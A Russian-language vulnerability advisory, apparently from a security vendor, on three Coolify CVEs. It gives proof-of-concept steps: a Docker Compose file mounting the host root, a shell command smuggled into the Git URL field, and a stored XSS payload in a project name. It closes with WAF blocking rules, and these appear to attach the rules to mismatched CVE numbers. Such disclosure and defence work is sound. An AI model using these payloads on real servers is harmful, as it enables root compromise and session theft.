RCE RCE XSS В CoolifyВ публичном доступе опубликованы три отчета PoC об уязвимостях в
coolLabs. Все три уязвимости имеют критический уровень опасности, уязвимы версии до 4.0.0-beta.420.7.
💣
CVE-2025–34159 — платформа позволяет аутентифицированным пользователям с минимальными правами внедрять произвольные директивы
Docker Compose при создании проекта. Злоумышленник создает вредоносную службу, которая монтирует корневую файловую систему хоста, и получает полный доступ с правами root к серверу.
💣
CVE-2025–34161 — платформа позволяет аутентифицированным пользователям с ролью «Участник» выполнять произвольные команды-оболочки через поле Git Repository при создании проекта.
💣
CVE-2025–34157 — платформа уязвима к атаке с использованием хранимого межсайтового скриптинга (XSS) в процессе удаления проекта.
Для всех атак необходима аутентификация, что немного смягчает ее воздействие.
😬
Как эксплуатируется CVE-2025–34159 Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo 'LOL RCE' > /host/tmp/proof_rce.txt
"
▪️
/:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️
echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.
😬
Как эксплуатируется CVE-2025–34161Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести
https://github.com/XXX/XXXX.git; ls #; - > выбрать созданный ресурс - > запустить деплой (Deploy)
😬
Как эксплуатируется CVE-2025–34157Для атаки злоумышленник должен совершить действия:
Создать новый проект (New Project) -> задать имя(Name), например
<img src = "x" onerror = alert("XSS ")>
При удалении такого проекта администратор или владелец получит выполнение XSS. При удалении
XSS скрипт попадает в окно вывода ошибки.
В качестве примера на рисунке показана
CVE-2025–34159 (Скриншот 1)
и CVE-2025–34157 (Скриншот 2).
😬
Как защищаться CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку
/livewire/update, если в параметре JSON updates передаются спец символы, например:
; | && < > ` { }"updates":{"github_app.html_url":"https://github.com:fake/repo.git; ls -la #;"}CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу
command может привести к ложным сработкам. Рекомендуем обновиться или ограничить как передачу команд, так и монтирование директорий для всех пользователей.
CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу
; | & < > ` { } , - = + Конечная точка -
/livewire/update, Json параметр:
"updates":{"name":"<img src = \"x\" onerror = alert(\"RCE!\")>","description":"<img src = \"x\" onerror = alert(\"RCE!\")>"}